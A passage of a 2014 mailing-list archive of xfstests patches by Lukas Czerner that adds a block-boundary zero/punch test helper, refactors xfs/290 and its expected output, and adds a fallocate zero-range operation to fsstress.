+zero 0, 65536 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00010000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 65537 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00010000: 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 .BBBBBBBBBBBBBBB +00010010: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 65535, 65536 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +0000fff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00010000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +0001fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 65535, 65537 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +0000fff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00010000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 65535, 65538 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +0000fff0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA. +00010000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 65536, 65536 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00010000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 32768 , 65536 +wrote 65536/65536 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 65536/65536 bytes at offset 65536 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA +* +00008000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +* +00018000: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +* +read 131072/131072 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/generic/group b/tests/generic/group index 34bd118..a99b6a1 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -9,6 +9,7 @@ 005 dir udf auto quick 006 dir udf auto quick 007 dir udf auto quick +008 auto quick prealloc 010 other udf auto 011 dir udf auto quick 013 other ioctl udf auto quick -- 1.8.3.1 From lczerner@redhat.com Fri Feb 28 10:11:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 405437F3F for ; Fri, 28 Feb 2014 10:11:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 21AA2304059 for ; Fri, 28 Feb 2014 08:11:18 -0800 (PST) X-ASG-Debug-ID: 1393603873-04cb6c567610bc50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1JZZ4wOwTyxUpmaQ for ; Fri, 28 Feb 2014 08:11:14 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGBCNV024671 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:11:13 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SGB9ZQ012824; Fri, 28 Feb 2014 11:11:11 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 2/8] xfstests: create _test_block_boundaries in common/punch Date: Fri, 28 Feb 2014 17:10:59 +0100 X-ASG-Orig-Subj: [PATCH 2/8] xfstests: create _test_block_boundaries in common/punch Message-Id: <1393603865-26198-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1393603865-26198-1-git-send-email-lczerner@redhat.com> References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393603874 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Create new function _test_block_boundaries() which is testing content of the blocks after the operation such as zero, or punch hole. The test is doing the operation around block boundaries to assure correct behaviour of the operation on block unaligned ranges. This has been based on test xfs/290 which has been changed to use this new function. A small change to the output file was required. Signed-off-by: Lukas Czerner --- common/punch | 106 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/290 | 40 ++------------------- tests/xfs/290.out | 13 +++++-- 3 files changed, 119 insertions(+), 40 deletions(-) diff --git a/common/punch b/common/punch index 9340d3b..f2d538c 100644 --- a/common/punch +++ b/common/punch @@ -566,3 +566,109 @@ _test_generic_punch() [ $? -ne 0 ] && die_now od -x $testfile | head -n -1 } + +_test_block_boundaries() +{ + + remove_testfile=1 + sync_cmd="-c fsync" + unwritten_tests=1 + OPTIND=1 + while getopts 'dk' OPTION + do + case $OPTION in + k) remove_testfile= + ;; + d) sync_cmd= + ;; + ?) echo Invalid flag + exit 1 + ;; + esac + done + shift $(($OPTIND - 1)) + + bs=$1 + zero_cmd=$2 + filter_cmd=$3 + testfile=$4 + + # Block size plus 1 + bs_p1=$(($bs + 1)) + # Block size plus 2 + bs_p2=$(($bs + 2)) + + # Block size minus 1 + bs_m1=$(($bs - 1)) + + # Block size multiplied by 2 + bs_t2=$(($bs * 2)) + + # Block size divided by 2 + bs_d2=$(($bs / 2)) + + echo "zero 0, 1" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd 0 1" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero 0, $bs_m1" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd 0 $bs_m1" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero 0, $bs" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd 0 $bs" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero 0, $bs_p1" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd 0 $bs_p1" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero $bs_m1, $bs" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs_m1 $bs" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero $bs_m1, $bs_p1" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs_m1 $bs_p1" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + echo "zero $bs_m1, $bs_p2" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs_m1 $bs_p2" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + + echo "zero $bs, $bs" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs $bs" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd + + + echo "zero $bs_d2 , $bs" + $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 $bs" \ + -c "pwrite -S 0x42 $bs $bs" \ + -c "$zero_cmd $bs_d2 $bs" \ + -c "pread -v 0 $bs_t2" \ + $testfile | $filter_cmd +} diff --git a/tests/xfs/290 b/tests/xfs/290 index 547a0ba..cbe7108 100755 --- a/tests/xfs/290 +++ b/tests/xfs/290 @@ -38,6 +38,7 @@ trap "exit \$status" 0 1 2 3 15 # get standard environment, filters and checks . ./common/rc . ./common/filter +. ./common/punch # real QA test starts here @@ -49,44 +50,7 @@ _require_xfs_io_zero testfile=$TEST_DIR/290.$$ -test_zero() -{ - zero_start=$1 - zero_len=$2 - - $XFS_IO_PROG -f -t -c "pwrite -S 0x41 0 4096" \ - -c "pwrite -S 0x42 4096 4096" \ - -c "zero $zero_start $zero_len" \ - -c "pread -v 0 8192" \ - $testfile | _filter_xfs_io_unique -} - -# [0,1] -- Shouldn't toss anything -test_zero 0 1 - -#[0,4095] -- Shouldn't toss anything -test_zero 0 4095 - -#[0,4096] -- Should toss first page -test_zero 0 4096 - -#[0,4097] -- Should toss first page -test_zero 0 4097 - -#[4095,8191] -- Should toss last byte of first page -test_zero 4095 4096 - -#[4095,8192] -- Should toss second page & last byte of first page -test_zero 4095 4097 - -#[4095,8193] -- Should toss second page & last byte of first page -test_zero 4095 4098 - -#[4096,8192] -- Should toss second page -test_zero 4096 4096 - -#[1024,5120] -- Should toss from 1024 to end of first page -test_zero 1024 4096 +_test_block_boundaries 4096 zero _filter_xfs_io_unique $testfile # success, all done status=0 diff --git a/tests/xfs/290.out b/tests/xfs/290.out index 229c2b3..2487a93 100644 --- a/tests/xfs/290.out +++ b/tests/xfs/290.out @@ -1,4 +1,5 @@ QA output created by 290 +zero 0, 1 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -10,6 +11,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4095 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -21,6 +23,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4096 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -31,6 +34,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 0, 4097 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -42,6 +46,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4096 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -54,6 +59,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) 00001ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 ...............B read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4097 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -65,6 +71,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4095, 4098 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -76,6 +83,7 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 4096, 4096 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 @@ -86,15 +94,16 @@ XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +zero 2048 , 4096 wrote 4096/4096 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 4096/4096 bytes at offset 4096 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA * -00000400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ +00000800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ * -00001400: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB +00001800: 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB * read 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -- 1.8.3.1 From lczerner@redhat.com Fri Feb 28 10:11:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8620A7F3F for ; Fri, 28 Feb 2014 10:11:19 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EB393AC008 for ; Fri, 28 Feb 2014 08:11:18 -0800 (PST) X-ASG-Debug-ID: 1393603877-04cbb066e510ed20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6LoZrEagSNKqWkJ2 for ; Fri, 28 Feb 2014 08:11:17 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGBHkO024709 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:11:17 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SGB9ZT012824; Fri, 28 Feb 2014 11:11:15 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 5/8] xfstests: Add fallocate zero range operation to fsstress Date: Fri, 28 Feb 2014 17:11:02 +0100 X-ASG-Orig-Subj: [PATCH 5/8] xfstests: Add fallocate zero range operation to fsstress Message-Id: <1393603865-26198-5-git-send-email-lczerner@redhat.com> In-Reply-To: <1393603865-26198-1-git-send-email-lczerner@redhat.com> References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393603877 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This commit adds fzero operation support for fsstress, which is meant to exercise fallocate FALLOC_FL_ZERO_RANGE support. Also reorganise the common fallocate code into a single do_fallocate() function and use flags use the right mode. Also in order to make more obvious which fallocate mode fsstress is testing translate fallocate flags into human readable strings. Signed-off-by: Lukas Czerner --- ltp/fsstress.c | 164 +++++++++++++++++++++++++++++++++++++-------------------- 1 file changed, 106 insertions(+), 58 deletions(-) diff --git a/ltp/fsstress.c b/ltp/fsstress.c index 7dec7c6..24864db 100644 --- a/ltp/fsstress.c +++ b/ltp/fsstress.c @@ -70,6 +70,7 @@ typedef enum { OP_MKDIR, OP_MKNOD, OP_PUNCH, + OP_ZERO, OP_READ, OP_READLINK, OP_RENAME, @@ -114,6 +115,17 @@ typedef struct pathname { char *path; } pathname_t; +struct print_flags { + unsigned long mask; + const char *name; +}; + +struct print_string { + char *buffer; + int len; + int max; +}; + #define FT_DIR 0 #define FT_DIRm (1 << FT_DIR) #define FT_REG 1 @@ -155,6 +167,7 @@ void link_f(int, long); void mkdir_f(int, long); void mknod_f(int, long); void punch_f(int, long); +void zero_f(int, long); void read_f(int, long); void readlink_f(int, long); void rename_f(int, long); @@ -192,6 +205,7 @@ opdesc_t ops[] = { { OP_MKDIR, "mkdir", mkdir_f, 2, 1 }, { OP_MKNOD, "mknod", mknod_f, 2, 1 }, { OP_PUNCH, "punch", punch_f, 1, 1 }, + { OP_ZERO, "zero", zero_f, 1, 1 }, { OP_READ, "read", read_f, 1, 0 }, { OP_READLINK, "readlink", readlink_f, 1, 0 }, { OP_RENAME, "rename", rename_f, 2, 1 }, @@ -242,6 +256,7 @@ int verbose = 0; sig_atomic_t should_stop = 0; char *execute_cmd = NULL; int execute_freq = 1; +struct print_string flag_str = {0}; void add_to_flist(int, int, int); void append_pathname(pathname_t *, char *); @@ -543,6 +558,59 @@ int main(int argc, char **argv) return 0; } +int +add_string(struct print_string *str, const char *add) +{ + int len = strlen(add); + + if (len <= 0) + return 0; + + if (len > (str->max - 1) - str->len) { + str->len = str->max - 1; + return 0; + } + + memcpy(str->buffer + str->len, add, len); + str->len += len; + str->buffer[str->len] = '\0'; + + return len; +} + +char * +translate_flags(int flags, const char *delim, + const struct print_flags *flag_array) +{ + int i, mask, first = 1; + const char *add; + + if (!flag_str.buffer) { + flag_str.buffer = malloc(4096); + flag_str.max = 4096; + flag_str.len = 0; + } + if (!flag_str.buffer) + return NULL; + flag_str.len = 0; + flag_str.buffer[0] = '\0'; + + for (i = 0; flag_array[i].name && flags; i++) { + mask = flag_array[i].mask; + if ((flags & mask) != mask) + continue; + + add = flag_array[i].name; + flags &= ~mask; + if (!first && delim) + add_string(&flag_str, delim); + else + first = 0; + add_string(&flag_str, add); + } + return flag_str.buffer; +} + void add_to_flist(int ft, int id, int parent) { @@ -2075,8 +2143,23 @@ dwrite_f(int opno, long r) close(fd); } + +#ifdef HAVE_LINUX_FALLOC_H +struct print_flags falloc_flags [] = { + { FALLOC_FL_KEEP_SIZE, "KEEP_SIZE"}, + { FALLOC_FL_PUNCH_HOLE, "PUNCH_HOLE"}, + { FALLOC_FL_NO_HIDE_STALE, "NO_HIDE_STALE"}, + { FALLOC_FL_COLLAPSE_RANGE, "COLLAPSE_RANGE"}, + { FALLOC_FL_ZERO_RANGE, "ZERO_RANGE"}, + { -1, NULL} +}; + +#define translate_falloc_flags(mode) \ + ({translate_flags(mode, "|", falloc_flags);}) +#endif + void -fallocate_f(int opno, long r) +do_fallocate(int opno, long r, int mode) { #ifdef HAVE_LINUX_FALLOC_H int e; @@ -2088,28 +2171,26 @@ fallocate_f(int opno, long r) struct stat64 stb; int v; char st[1024]; - int mode = 0; init_pathname(&f); if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) { if (v) - printf("%d/%d: fallocate - no filename\n", procid, opno); + printf("%d/%d: do_fallocate - no filename\n", procid, opno); free_pathname(&f); return; } fd = open_path(&f, O_RDWR); - e = fd < 0 ? errno : 0; - check_cwd(); if (fd < 0) { if (v) - printf("%d/%d: fallocate - open %s failed %d\n", - procid, opno, f.path, e); + printf("%d/%d: do_fallocate - open %s failed %d\n", + procid, opno, f.path, errno); free_pathname(&f); return; } + check_cwd(); if (fstat64(fd, &stb) < 0) { if (v) - printf("%d/%d: fallocate - fstat64 %s failed %d\n", + printf("%d/%d: do_fallocate - fstat64 %s failed %d\n", procid, opno, f.path, errno); free_pathname(&f); close(fd); @@ -2123,14 +2204,21 @@ fallocate_f(int opno, long r) mode |= FALLOC_FL_KEEP_SIZE & random(); e = fallocate(fd, mode, (loff_t)off, (loff_t)len) < 0 ? errno : 0; if (v) - printf("%d/%d: fallocate(%d) %s %st %lld %lld %d\n", - procid, opno, mode, + printf("%d/%d: fallocate(%s) %s %st %lld %lld %d\n", + procid, opno, translate_falloc_flags(mode), f.path, st, (long long)off, (long long)len, e); free_pathname(&f); close(fd); #endif } +void +fallocate_f(int opno, long r) +{ +#ifdef HAVE_LINUX_FALLOC_H + do_fallocate(opno, r, 0); +#endif +} void fdatasync_f(int opno, long r) @@ -2501,55 +2589,15 @@ void punch_f(int opno, long r) { #ifdef HAVE_LINUX_FALLOC_H - int e; - pathname_t f; - int fd; - __int64_t lr; - off64_t off; - off64_t len; - struct stat64 stb; - int v; - char st[1024]; - int mode = FALLOC_FL_PUNCH_HOLE; + do_fallocate(opno, r, FALLOC_FL_PUNCH_HOLE); +#endif +} - init_pathname(&f); - if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) { - if (v) - printf("%d/%d: punch hole - no filename\n", procid, opno); - free_pathname(&f); - return; - } - fd = open_path(&f, O_RDWR); - e = fd < 0 ? errno : 0; - check_cwd(); - if (fd < 0) { - if (v) - printf("%d/%d: punch hole - open %s failed %d\n", - procid, opno, f.path, e); - free_pathname(&f); - return; - } - if (fstat64(fd, &stb) < 0) { - if (v) - printf("%d/%d: punch hole - fstat64 %s failed %d\n", - procid, opno, f.path, errno); - free_pathname(&f); - close(fd); - return; - } - inode_info(st, sizeof(st), &stb, v); - lr = ((__int64_t)random() << 32) + random(); - off = (off64_t)(lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE)); - off %= maxfsize; - len = (off64_t)(random() % (1024 * 1024)); - mode |= FALLOC_FL_KEEP_SIZE & random(); - e = fallocate(fd, mode, (loff_t)off, (loff_t)len) < 0 ? errno : 0; - if (v) - printf("%d/%d: punch hole(%d) %s %s %lld %lld %d\n", - procid, opno, mode, - f.path, st, (long long)off, (long long)len, e); - free_pathname(&f); - close(fd); +void +zero_f(int opno, long r) +{ +#ifdef HAVE_LINUX_FALLOC_H + do_fallocate(opno, r, FALLOC_FL_ZERO_RANGE); #endif } -- 1.8.3.1 From lczerner@redhat.com Fri Feb 28 10:11:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 341197F53 for ; Fri, 28 Feb 2014 10:11:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 234EB304070 for ; Fri, 28 Feb 2014 08:11:16 -0800 (PST) X-ASG-Debug-ID: 1393603875-04cb6c567810bc60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id WB6w7fqlPVrSxQBg for ; Fri, 28 Feb 2014 08:11:16 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1SGBFdV009905 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Feb 2014 11:11:15 -0500 Received: from localhost.localdomain.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1SGB9ZS012824; Fri, 28 Feb 2014 11:11:14 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, Lukas Czerner Subject: [PATCH 4/8] xfstests: Move fallocate include into global.h Date: Fri, 28 Feb 2014 17:11:01 +0100 X-ASG-Orig-Subj: [PATCH 4/8] xfstests: Move fallocate include into global.h Message-Id: <1393603865-26198-4-git-send-email-lczerner@redhat.com> In-Reply-To: <1393603865-26198-1-git-send-email-lczerner@redhat.com> References: <1393603865-26198-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393603875 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Move the inclusion of falloc.h with all it's possible defines for the fallocate mode into global.h header file so we do not have to include and define it manually in every tool using fallocate. Signed-off-by: Lukas Czerner --- configure.ac | 3 ++- ltp/fsstress.c | 11 ++--------- ltp/fsx.c | 11 ++++------- src/global.h | 25 +++++++++++++++++++++++++ 4 files changed, 33 insertions(+), 17 deletions(-) diff --git a/configure.ac b/configure.ac index 6fba3ad..2f95c4c 100644 --- a/configure.ac +++ b/configure.ac @@ -25,7 +25,8 @@ AC_HEADER_STDC sys/wait.h \ sys/types.h \ strings.h \ - err.h + err.h \ + linux/falloc.h ]) AC_CHECK_HEADERS([ sys/fs/xfs_fsops.h \ 